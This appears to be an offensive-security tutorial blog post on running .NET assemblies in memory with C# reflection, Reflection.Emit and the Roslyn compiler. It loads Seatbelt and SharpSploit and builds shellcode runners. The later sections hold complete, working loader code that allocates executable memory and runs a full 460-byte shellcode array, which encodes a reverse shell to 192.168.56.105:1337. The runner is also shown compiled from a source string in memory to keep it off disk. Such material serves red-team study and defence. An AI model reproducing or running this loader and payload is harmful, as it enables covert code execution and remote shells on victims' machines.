13 minute read

In this second post, I will explain how to run and compile .NET Assemblies in memory using C#, including how to run a Assembly’s invocation method, how to use a library and how to dynamically create/compile one.

Reflection?

When we talk about code that is able to view other code and run it, we are talking about reflective programming. Simply put this is code that is able to look at its own running environment (including types, functions ect.) and modify what code it will run. For example, lets say you want to be able to take a function name as input from a user (i.e. a String) and run that function. In statically typed languages, like Java and C#, you can’t directly do that, as the source code needs to define each object/function’s type (i.e. statically typed) during compilation/runtime.

Reflective programming allows us to do this, by using built-in support from the language to allow us to dynamically determine and define the name/location/type signature of a function and/or object and execute it.

A lot of programming languages have this concept, including Java. If you read my last blog post, I showed how you could use delegates to run shellcode in memory by telling .NET we will have a function of a type, but we haven’t figured out the exact location of it yet, where we find the location of the shellcode, and tell .NET to run it, this is an example of reflective programming.

Broad concepts of a .NET Assembly.

A .NET Assembly is a singular compiled .NET executeble/library (EXE/DLL), that contain all the types and resources needed to function by itself. A .NET Asssembly can contain modules, which contain “types” (classes) which contain “members” (functions, variables ect.).

A .NET Assembly can reference other needed Assemblies to be able to run. When this other assembly is used in an application during run time, we say that the assembly has been loaded into the running one. What this means is when we want to run a .NET Assembly in memory, what we mean is we need to “load” the target .NET Assembly (or use one already loaded), inspect its modules, types and members to dynamically run the code we want.

Reflection API

Within .NET, reflection is achieved from the use of whats termed the “Reflection API”. This is a collection within the .NET API, specifically within the System.Reflection namespace (in combination with System.Type) that provide various helper functions to allow us to load an Assembly into ours, dynamically create an instance of a type, and dynamically run any functions within these types. Anjaiah Keesari has written an awesome article showing the various things you can do with the Reflection API, located here.

This makes the process of actually loading and running another .NET Assembly extrememly easy (i.e. we don’t need to create our own .NET loader).

Reflection Example - Running our own function.

Below is an example of using the Reflection API to find and then run a custom function called “RunMe” taking in two arguments.

using System;
using System.Reflection;

namespace SharpReflectionRunner
{
    public class Program
    {
        static void Main(string[] args)
        {
            Assembly assembly = Assembly.GetExecutingAssembly();
            Type[] types = assembly.GetTypes();
            Console.WriteLine("Available Types");
            Console.WriteLine("==================");
            foreach (Type ty in types) { Console.WriteLine(ty.FullName); }
            Type myProgram = assembly.GetType("SharpReflectionRunner.Program");
            MethodInfo[] mis = myProgram.GetMethods();
            Console.WriteLine("==================");
            Console.WriteLine("Available Methods");
            Console.WriteLine("==================");
            foreach ( MethodInfo mi in mis ) { Console.WriteLine(mi.Name);}
            MethodInfo runMe = myProgram.GetMethod("RunMe");
            Console.WriteLine("==================");
            Console.WriteLine(("Calling RunMe via Reflection"));
            runMe.Invoke(null, new object[] { "FirstArg", 2 });
        }
        public static void RunMe(String first, int second)
        {
            System.Console.WriteLine(String.Format("First Argument {0}, SecondArgument: {1}", first, second));
        }
    }
}

If you compile and run this code, you will see that the RunMe function gets executed.

This code uses the namespace SharpReflectionRunner, and has two functions, Main (entry point) and RunMe, which takes two arguments, a String and an int. When compiled and run this code includes the reflection namespace System.Reflection.

It obtains an instance of the Assembly object (a Type within System.Reflection that provides various functions to read/use a .NET assembly) referencing the applications own assembly (Assembly.GetExecutingAssembly()). At this point, we know have an object we can use to reference our own assembly, allowing us to reflectively find and run code.

Next we obtain an array containg all the available Types (classes) within our assembly (assembly.GetTypes()) as defined by System.Type, iterate and print out their “FullNames” (namespace + class name). This is purely to show what types (classes) we can access and are defined in this Assembly.

We create a Type object, that references our Assembly’s type “Program”. This object lets us enumerate and use fields/functions in use within the Program class.

Next we find out what methods can be run from this Type, by creating an array of type MethodInfo and calling .GetMethods(). This prints out not only the function RunMe as defined by this class, but also the public methods that any Type has defined (i.r. GetType,ToString). The MethodInfo object lets us view the name of the method/function and run it.

Next we specific find the MethodInfo object for the RunMe method within the Program type, by using the method GetMethod(“RunMe”) to obtain a reference object to this function. Lastly, we call the function by using Invoke method on the MethodInfo object (that points to the RunMe method). The first argument here is an instance to the type we are running the function within (in our case Program). However, since its a static function (public static), we don’t need to pass an instance, so we set it to null. The second argument is the parameters to the function, as defined in an array. Since a String and an int are different types, we have to pass them in an array of the generic top level type, object.

You might notice that the RunMe function specifically has the public keyword at the beginning, and that the Main function doesn’t appear in the list of available functions. This is because, by default, C# marks methods as “private” meaning they can only be accessed directly from the class itself. So when we obtain a reference to the assembly, we can only access methods that are specifically marked as public (i.e RunMe). There is an exception for the entry point of an application as I will show.

Loading and running a different .NET assembly

With information on how to use the Reflection API, we can now use this to run a different .NET assembly. Specifically, we want to run the assembly’s Main (or EntryPoint) method, as this is the entry point into the s (assuming its an executeable, not a library). To load an assembly into our assembly, there exists a couple of methods within the Assembly class called LoadFile() and Load(). This lets you load an Assembly into memory by either passing a file location (LoadFile), or a raw bytes array containing the compiled assembly (Load).

The below example uses LoadFile to load and run the .NET application Seatbelt from a file on disk.

using System;
using System.Reflection;

namespace SharpReflectionRunner
{
     internal class Program
    {
        static void Main(string[] args)
        {
            Assembly assembly = Assembly.LoadFile("C:\\Users\\Public\\Seatbelt.exe");
            MethodInfo entryPoint = assembly.EntryPoint;
            entryPoint.Invoke(null, new[] { args });
        }
       
    }
}

Using this you can run the application as if it was the Seatbelt application (assuming Seatbelt is located at C:\Users\Public\Seatbelt.exe):

This code loads the .NET assembly (Seatbelt.exe) and creates an Assembly object that references it. Then we obtain a reference to the EntryPoint function (the function that will execute first when this .NET assembly is run, which is non-existent on libraries), which is almost always Main. Then we execute it, passing in the arguments originally passed to our application in the call to the assembly.

Loading and using a .NET library.

Sometimes we may want to reflectively load and run a .NET library instead of a .NET executeable. To do this, its essentially the same as the original example of using the Reflection API, where we use the Assembly.Load/LoadFile functions to load and obtain an object to access it in memory. We then find the types needed, functions we want and call them. For example, if we wanted to load and use the SharpSploit DLL to call the PortScan function within the SharpSploit.Enumeration.Network class (documentation here) we need to call a function with the signature:

public static SharpSploitResultList<PortScanResult> PortScan(string ComputerName, int Port, bool Ping = true, int Timeout = 250)

The code to do this is:

using System;
using System.Collections.Generic;
using System.Reflection;

namespace SharpReflectionRunner
{
     internal class Program
    {
        static void Main(string[] args)
        {
            Assembly assembly = Assembly.LoadFile("C:\\Users\\Public\\SharpSploit.dll");
            Type[] types = assembly.GetTypes();
            Type networkClass = assembly.GetType("SharpSploit.Enumeration.Network");
            MethodInfo[] portScanMis = Array.FindAll(networkClass.GetMethods(), mi => mi.Name == "PortScan");
            MethodInfo portScanMi = null;
            foreach (MethodInfo mi in portScanMis) {
                ParameterInfo[] pis = mi.GetParameters();
                Console.WriteLine(pis[1].ParameterType.Name);
                if (pis[0].ParameterType.Name == "String" && pis[1].ParameterType.Name == "Int32"){
                    portScanMi= mi;
                }
            }
            object portScanResults =  portScanMi.Invoke(null, new object[] { "localhost", 445, true, 500 });
            Console.WriteLine(portScanResults);
        }
    }
}

When run:

The only new/interesting thing here is the checking of the parameter values a function accepts (foreach …). Within SharpSploit, there exists 3 different PortScan functions (each with different parameters), so if we attempt to use the GetMethod() function, we run into an exception. To overcome this, the code iterates over each function, obtains information on the parameters the method takes (mi.GetParameters()) and checks if the first and second parameter are of type String and Int32 (as seen in the signature above). This is enough to differentiate the different functions.

Dynamically building a .NET assembly

A part of the Reflection API also contains the ability to dynamically create a .NET assembly, including creating and running the MIL bytecode. This code exists within the System.Reflection.Emit namespace. To achieve this, the Emit namespace provides builder classes (AssemblyBuilder, ModuleBuilder, TypeBuilder ect.) and functions that allow us to define different aspects of the newly created assembly.

For example, lets build an assembly that imports the Win32 API’s needed to run shellcode in memory using these builders. Firstly, we need to create and setup the AssemblyBuilder:

AssemblyName asmName = new AssemblyName("ShellCodeRunner");
AssemblyBuilder asmBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.Run);
ModuleBuilder modBuilder = asmBuilder.DefineDynamicModule("ShellCodeRunner", emitSymbolInfo: false);

Here we first create a name for our Assembly (“ShellCodeRunner”) and create a new AssemblyBuilder by defining a DynamicAssembly (a new .NET assembly that we define). We are using our AppDomain (.NET assemblies run within a “domain”, similar sort of concept as running in a process in terms of security boundaries) since we want to use and access this assembly, we want it to be within our current domain. We also define the AssemblyBuilderAccess to Run, this means we cannot save this new assembly to a file (i.e. SHellCodeRunner.exe). Since we purposefully want this assembly to be run in memory, this suits our needs. Next we create a module for our assembly (effectively a namespace for us to build types/functions within).

With the base of the assembly setup, we need now to define the types and functions (in our case PInvoke imports) within it:

var typeBuilder = modBuilder.DefineType("ShellCodeRunner.Program", TypeAttributes.Class | TypeAttributes.Public);
            var dllImportConstructor = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) });
            var dllImportKernel32Builder = new CustomAttributeBuilder(dllImportConstructor, new object[] { "kernel32.dll" });
            var vtAlloc = typeBuilder.DefinePInvokeMethod(name: "VirtualAlloc", dllName: "kernel32.dll", attributes: MethodAttributes.Static | MethodAttributes.Public,
                callingConvention: CallingConventions.Standard, returnType: typeof(IntPtr), parameterTypes: new Type[] { typeof(IntPtr), typeof(uint), typeof(uint), typeof(uint) }, nativeCallConv: CallingConvention.Winapi, nativeCharSet: CharSet.Unicode);
            vtAlloc.SetCustomAttribute(dllImportKernel32Builder);
            var createThread = typeBuilder.DefinePInvokeMethod(name: "CreateThread", dllName: "kernel32.dll", attributes: MethodAttributes.Static | MethodAttributes.Public,
                callingConvention: CallingConventions.Standard, returnType: typeof(IntPtr), parameterTypes: new Type[] { typeof(IntPtr), typeof(uint), typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) }, nativeCallConv: CallingConvention.Winapi, nativeCharSet: CharSet.Unicode);
            createThread.SetCustomAttribute(dllImportKernel32Builder);
            var waitForSingle = typeBuilder.DefinePInvokeMethod(name: "WaitForSingleObject", dllName: "kernel32.dll", attributes: MethodAttributes.Static | MethodAttributes.Public,
                callingConvention: CallingConventions.Standard, returnType: typeof(UInt32), parameterTypes: new Type[] { typeof(IntPtr), typeof(UInt32) }, nativeCallConv: CallingConvention.Winapi, nativeCharSet: CharSet.Unicode);
            waitForSingle.SetCustomAttribute(dllImportKernel32Builder);

Now with the type (Program) on the new Assembly ShellCodeRunner, we can instantiate an instance of the Program type using the typeBuilder.

Type shellCodeRunnerProgram = typeBuilder.CreateType();

Now with this Type type we can use the same technique we used to execute a function within SharpSploit to run the three Win32 API’s VirtualAlloc, CreateThread and WaitForSingleObject to execute our shellcode (where our shellcode is stored in a byte array called “shellcode”)!

  byte[] shellcode = new byte[460] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
...
0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5 };

            int size = shellcode.Length;

            Type shellCodeRunnerProgram = typeBuilder.CreateType();
            IntPtr mem = IntPtr.Zero;
            mem = (IntPtr)shellCodeRunnerProgram.GetMethod("VirtualAlloc", BindingFlags.Static | BindingFlags.Public).Invoke(mem, new object[] { IntPtr.Zero, (uint)0x1000, (uint)0x3000, (uint)0x40 });
            Marshal.Copy(shellcode, 0, mem, size);
            IntPtr hThread = (IntPtr)shellCodeRunnerProgram.GetMethod("CreateThread", BindingFlags.Static | BindingFlags.Public).Invoke(mem, new object[] { IntPtr.Zero, (uint)0, mem, IntPtr.Zero, (uint)0, IntPtr.Zero });
            shellCodeRunnerProgram.GetMethod("WaitForSingleObject", BindingFlags.Static | BindingFlags.Public).Invoke(mem, new object[] { hThread, (UInt32)0xFFFFFFFF });

Compiling a .NET Assembly from source code

One final way we can generate and/or use another .NET Assembly in memory is to compile a .NET Assembly from source code and load it from within another .NET Assembly. This is possible through the use of the .NET Compiler Platform (a.k.a Roslyn Compiler/API’s). This is a collection of C#/VB.NET compiler and code analysis tools written by Microsoft (more information here).

One of the most important pieces here is that it has built-in classes for C# to compile a .NET Assembly from C# source code. The C# components of the .NET Compiler Platform live in the Microsoft.CSharp namespace within these API’s.

For example, lets look back at our shellcode runner from before (stored in a string):

string code = @"
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace ShellCodeRunner {

    public class Program {
        [DllImport(""kernel32"")]
        private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags,  IntPtr lpThreadId);
        
        [DllImport(""kernel32"")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport(""kernel32"")]
        private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        
        private static UInt32 MEM_COMMIT = 0x1000;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
        static void Main(string[] args)
        {
           byte[] shellCode = new byte[460] {
              0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
              0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
              0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
              0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
              0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
              0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
              0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
              0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
              0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
              0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
              0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
              0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
              0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
              0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
              0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,
              0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x05,0x39,0xc0,0xa8,0x38,0x69,0x41,0x54,
              0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,
              0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
              0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,
              0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,
              0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,
              0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63,
              0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,
              0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,
              0x24,0x54,0x01,0x01,0x48,0x8d,0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,
              0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,
              0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,
              0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41,0xba,0x08,0x87,0x1d,0x60,0xff,
              0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,
              0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,
              0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5 };

            IntPtr rwxMemory = VirtualAlloc(IntPtr.Zero, (uint)shellCode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellCode, 0, rwxMemory, shellCode.Length);
            IntPtr shellCodeThread = CreateThread(IntPtr.Zero, 0, rwxMemory, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(shellCodeThread, 0xFFFFFFFF);

        }
    }
}
";

We will treat this string as the source code we will compile and run. With the Rosylyn API’s, we create a CSharpCodeProvider object. This objectis designed to give functionality to generate and compile C# code. With this object we ask it for a Compiler object, which allows us to specify different compile options and eventually compile provided C# source code.

Microsoft.CSharp.CSharpCodeProvider provider = new CSharpCodeProvider();
ICodeCompiler compiler = provider.CreateCompiler();

Next we create an object of type CompilerParameters. This object is passed to our compiler object, and lets us specify different options. Most importantly for us, there exists the parameter GenerateInMemory and the parameter GenerateExecutable. If GenerateInMemory is true then the Assembly will only be compiled and accessible in memory (this still does generate a temporary .Net Assembly in memory!) as appossed to intentionally saving it for further use. The GenerateExecutable parameter states whether to compile the .NET Assembly as an exe or dll, since we want to call the applications entry point (we could have built in a new function to avoid having to do so) we set the parameter to true.

CompilerParameters compilerparams = new CompilerParameters();
compilerparams.GenerateInMemory = true;
compilerparams.GenerateExecutable = true;

Finally, we can now call the compiler object, telling it to compile our source code, with the given compile parameters. THis will result in a CompilerResults object, which in turn holds the compiled assembly in the property “CompiledAssembly”;

CompilerResults results = compiler.CompileAssemblyFromSource(compilerparams, code);
Assembly shellcodeRunner = results.CompiledAssembly;

And with this, we can now invoke the Assemblies entry point as we have seen earlier:

shellcodeRunner.EntryPoint.Invoke(null, new[] { new string[] { } });

All of the above techniques have been combined into one POC on my GitHub, located here